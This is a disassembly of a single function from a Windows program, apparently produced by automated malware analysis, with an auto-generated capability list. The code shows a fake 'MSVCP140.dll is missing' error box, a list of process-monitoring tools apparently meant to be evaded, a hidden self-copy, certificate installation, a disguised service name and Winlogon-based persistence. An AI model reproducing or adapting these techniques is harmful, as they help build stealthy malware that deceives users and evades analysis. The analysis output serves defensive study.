Function at 0x14000bce0
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Delete file
Get common file path
Get file attributes
Get token membership
Persist via winlogon helper dll registry key
Set file attributes
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x570]
sub rsp, 0x670
mov rax, qword [0x14001a040]
xor rax, rsp
mov qword [rbp + 0x560], rax
xor edi, edi
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
call fcn.140006210
test al, al
je 0x14000bd4e
lea r9d, [rdi + 0x10]
lea r8, str.System_Error
lea rdx, str.The_program_cant_start_because_MSVCP140.dll_is_missing_from_your_computer._Try_reinstalling_the_program_to_fix_this_problem.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea eax, [rdi + 1]
jmp 0x14000cf76
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], rax
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xc0], xmm1
lea r8d, [rax + 0x11]
lea rdx, str.processhacker.exe
lea rcx, [rbp + 0xb0]
call fcn.140008c60
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xe0], xmm1
mov r8d, socket
lea rdx, str.systeminformer.exe
lea rcx, [rbp + 0xd0]
call fcn.140008c60
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x100], xmm1
mov r8d, recv
lea rdx, str.LpSysLtdS.exe
lea rcx, [rbp + 0xf0]
call fcn.140008c60
nop
lea rax, [rbp + 0xb0]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x110]
mov qword [rbp - 8], rax
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x90]
call fcn.140006ae0
nop
lea r9, [fcn.140001d20]
mov edx, 0x20
lea r8d, [rdx - 0x1d]
lea rcx, [rbp + 0xb0]
call fcn.14000fd08
mov dword [rbp - 0x80], edi
mov dword [rbp - 0x7c], 0
mov word [rbp - 0x78], 0x500
lea rax, [rbp - 0x10]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], edi
mov dword [rsp + 0x40], edi
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp - 0x7c]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14000be9a
lea r8, [rbp - 0x80]
mov rdx, qword [rbp - 0x10]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x14000be90
mov dword [rbp - 0x80], edi
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x23]
xor ecx, ecx
cmp dword [rbp - 0x80], ecx
je 0x14000c68c
lea rax, [rbp + 0x140]
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov rbx, 0xffffffffffffffff
xorps xmm0, xmm0
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], rdi
movups xmmword [rbp - 0x30], xmm0
test eax, eax
js 0x14000bef9
lea rax, [rbp + 0x140]
mov r8, rbx
inc r8
cmp word [rax + r8*2], 0
jne 0x14000bee5
lea rdx, [rbp + 0x140]
jmp 0x14000bf03
xor r8d, r8d
lea rdx, [0x14001346c]
lea rcx, [rbp - 0x30]
call fcn.140008c60
nop
mov r8d, 0x104
lea rdx, [rbp + 0x350]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], rdi
lea rax, [rbp + 0x350]
nop dword [rax + rax]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x14000bf40
mov r8, rbx
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x10]
call fcn.140008c60
nop
lea r8, str.YourAppFolder_
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x10]
call fcn.14000e5a0
nop
lea r8, str.YourAppName.exe
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x50]
call fcn.14000e5a0
nop
lea r8, str.certificate.crt
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x50]
call fcn.14000e5a0
nop
lea rcx, [rbp + 0x50]
call fcn.14000bc10
test al, al
jne 0x14000c16b
lea rdx, str.Certificate_file_not_found._Exiting.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140008020
lea rdx, [0x1400083e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 7
jbe 0x14000c012
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c00d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c52b
call fcn.140010020
movdqa xmm0, xmmword [0x140014570]
movdqu xmmword [rbp + 0x60], xmm0
mov word [rbp + 0x50], di
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x14000c063
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c05e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c57f
call fcn.140010020
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], di
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x14000c0b3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c0ae
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c5d2
call fcn.140010020
movdqa xmm0, xmmword [0x140014570]
movdqu xmmword [rbp], xmm0
mov word [rbp - 0x10], di
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x14000c104
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c0ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c626
call fcn.140010020
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], 7
mov word [rbp + 0x10], di
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x14000c155
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c14f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c685
call fcn.140010020
nop
lea rcx, [rbp + 0x90]
call fcn.140007af0
mov eax, 1
jmp 0x14000cf76
mov dl, 1
lea rcx, [rbp + 0x90]
call fcn.14000ece0
cmp qword [rbp - 0x20], 0
je 0x14000c4f4
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 7
cmova rcx, qword [rbp - 0x10]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14000c1af
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000c4f4
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 7
cmova rcx, qword [rbp - 0x10]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp + 0x50]
call fcn.14000efe0
test al, al
je 0x14000c4d0
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
lea r9, [rbp + 0x10]
cmp qword [rbp + 0x28], 7
cmova r9, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x20]
cmp rdx, qword [rbp - 0x40]
jne 0x14000c229
mov r8, rdx
test rdx, rdx
je 0x14000c2fc
sub r9, rcx
nop
movzx eax, word [rcx + r9]
cmp ax, word [rcx]
jne 0x14000c229
add rcx, 2
sub r8, 1
jne 0x14000c210
jmp 0x14000c2fc
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000c263
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14000c263
lea rdx, str.Failed_to_delete_existing_file._Error:
jmp 0x14000c2c8
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rdx, qword [rbp - 0x50]
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 7
cmova rcx, qword [rbp + 0x10]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14000c2c1
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp - 0x50]
call fcn.14000af20
xor edx, edx
lea rcx, [rbp + 0x90]
call fcn.14000ece0
jmp 0x14000c4f4
lea rdx, str.Failed_to_copy_file._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140008020
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400083e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
lea r8, [rbp + 0x10]
cmp qword [rbp + 0x28], 7
cmova r8, qword [rbp + 0x10]
cmp rdx, qword [rbp - 0x40]
jne 0x14000c4f4
test rdx, rdx
je 0x14000c348
sub r8, rcx
nop word [rax + rax]
movzx eax, word [rcx + r8]
cmp ax, word [rcx]
jne 0x14000c4f4
add rcx, 2
sub rdx, 1
jne 0x14000c330
lea rax, str.SimpleTimeLoggerService
mov qword [rbp + 0x120], rax
lea rax, [0x14000cfa0]
mov qword [rbp + 0x128], rax
mov qword [rbp + 0x130], rdi
mov qword [rbp + 0x138], rdi
lea rcx, [rbp + 0x120]
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
test eax, eax
jne 0x14000c4f4
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], rdi
mov qword [rbp + 0x88], rdi
lea r8d, [rax + 0x2b]
lea rdx, str.Failed_to_start_service_control_dispatcher.
lea rcx, [rbp + 0x70]
call fcn.140009030
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x140]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x140]
call fcn.14000d250
nop
cmp qword [rbp + 0x1c8], 0
je 0x14000c434
lea rdx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rdx, qword [rbp + 0x70]
mov r8, qword [rbp + 0x80]
lea rcx, [rbp + 0x140]
call fcn.14000eaf0
lea rdx, str._Error:
mov rcx, rax
call fcn.140008550
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140008720]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x140], rax
mov rax, qword [rbp + 0x140]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x13c], edx
lea rcx, [rbp + 0x148]
call fcn.14000e050
lea rcx, [rbp + 0x150]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1e8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x14000c4f4
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c4c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c4c9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010020
jmp 0x14000c4f4
lea rdx, str.Failed_to_install_certificate.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140008020
lea rdx, [0x1400083e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 7
jbe 0x14000c537
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c532
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c532
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010020
movdqa xmm0, xmmword [0x140014570]
movdqu xmmword [rbp + 0x60], xmm0
mov word [rbp + 0x50], di
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x14000c58b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c586
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c586
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010020
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], di
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x14000c5de
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c5d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c5d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010020
movdqa xmm0, xmmword [0x140014570]
movdqu xmmword [rbp], xmm0
mov word [rbp - 0x10], di
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x14000c632
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c62d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c62d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010020
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], 7
mov word [rbp + 0x10], di
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x14000cf68
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cf62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cf62
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rax, [rbp + 0x350]
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov rbx, 0xffffffffffffffff
xorps xmm0, xmm0
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0x68], rdi
movups xmmword [rbp + 0x50], xmm0
test eax, eax
js 0x14000c6d6
lea rax, [rbp + 0x350]
mov r8, rbx
inc r8
cmp word [rax + r8*2], 0
jne 0x14000c6c2
lea rdx, [rbp + 0x350]
jmp 0x14000c6e0
xor r8d, r8d
lea rdx, [0x14001346c]
lea rcx, [rbp + 0x50]
call fcn.140008c60
nop
mov r8d, 0x104
lea rdx, [rbp + 0x140]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], rdi
lea rax, [rbp + 0x140]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x14000c715
mov r8, rbx
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x30]
call fcn.140008c60
nop
lea r8, str.YourAppFolder_
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x30]
call fcn.14000e5a0
nop
lea r8, str.YourAppName.exe
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x70]
call fcn.14000e5a0
nop
lea r8, str.certificate.crt
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x120]
call fcn.14000e5a0
nop
lea rcx, [rbp + 0x120]
call fcn.14000bc10
test al, al
jne 0x14000c943
lea rdx, str.Certificate_file_not_found._Exiting.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140008020
lea rdx, [0x1400083e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 7
jbe 0x14000c7f3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c7ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000caa3
call fcn.140010020
movdqa xmm0, xmmword [0x140014570]
movdqu xmmword [rbp + 0x130], xmm0
mov word [rbp + 0x120], di
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x14000c84a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c845
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ce61
call fcn.140010020
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], di
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x14000c89a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c895
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ceb4
call fcn.140010020
movdqa xmm0, xmmword [0x140014570]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x30], di
mov rdx, qword [rbp + 0x48]
cmp rdx, 7
jbe 0x14000c8eb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c8e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cf08
call fcn.140010020
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], 7
mov word [rbp + 0x30], di
mov rdx, qword [rbp + 0x68]
cmp rdx, 7
jbe 0x14000c155
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c14f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000cf5b
jmp 0x14000c14f
cmp qword [rbp + 0x60], 0
je 0x14000cdb5
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rcx, qword [rbp - 0x30]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14000c979
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000cdb5
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rcx, qword [rbp - 0x30]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
lea r9, [rbp + 0x30]
cmp qword [rbp + 0x48], 7
cmova r9, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x40]
mov r10, qword [rbp - 0x60]
cmp rdx, r10
jne 0x14000c9e9
mov r8, rdx
test rdx, rdx
je 0x14000cdbd
sub r9, rcx
nop word [rax + rax]
movzx eax, word [rcx + r9]
cmp ax, word [rcx]
jne 0x14000c9e9
add rcx, 2
sub r8, 1
jne 0x14000c9d0
jmp 0x14000cdbd
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000caaa
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14000caaa
lea rdx, str.Failed_to_delete_existing_file._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140008020
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400083e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 7
jbe 0x14000ce13
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ce0e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ce0e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rdx, qword [rbp - 0x70]
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 7
cmova rcx, qword [rbp + 0x30]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14000cda9
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [rbp + 0xb0], WSAGetLastError
xorps xmm0, xmm0
movups xmmword [rbp + 0xb8], xmm0
movups xmmword [rbp + 0xc8], xmm0
movups xmmword [rbp + 0xd8], xmm0
movups xmmword [rbp + 0xe8], xmm0
movups xmmword [rbp + 0xf8], xmm0
movups xmmword [rbp + 0x108], xmm0
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14000cba7
lea rdx, str.Failed_to_create_process._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140008020
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x1400083e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x14000cbbb
mov rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rbp - 0x70]
lea rdx, str.explorer.exe___
lea rcx, [rsp + 0x60]
call fcn.14000e730
nop
lea rdx, [0x140014140]
mov rcx, rax
call fcn.140007bd0
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x14000cc58
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000cc53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000cc53
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140010020
movdqa xmm0, xmmword [0x140014570]
movdqu xmmword [rsp + 0x70], xmm0
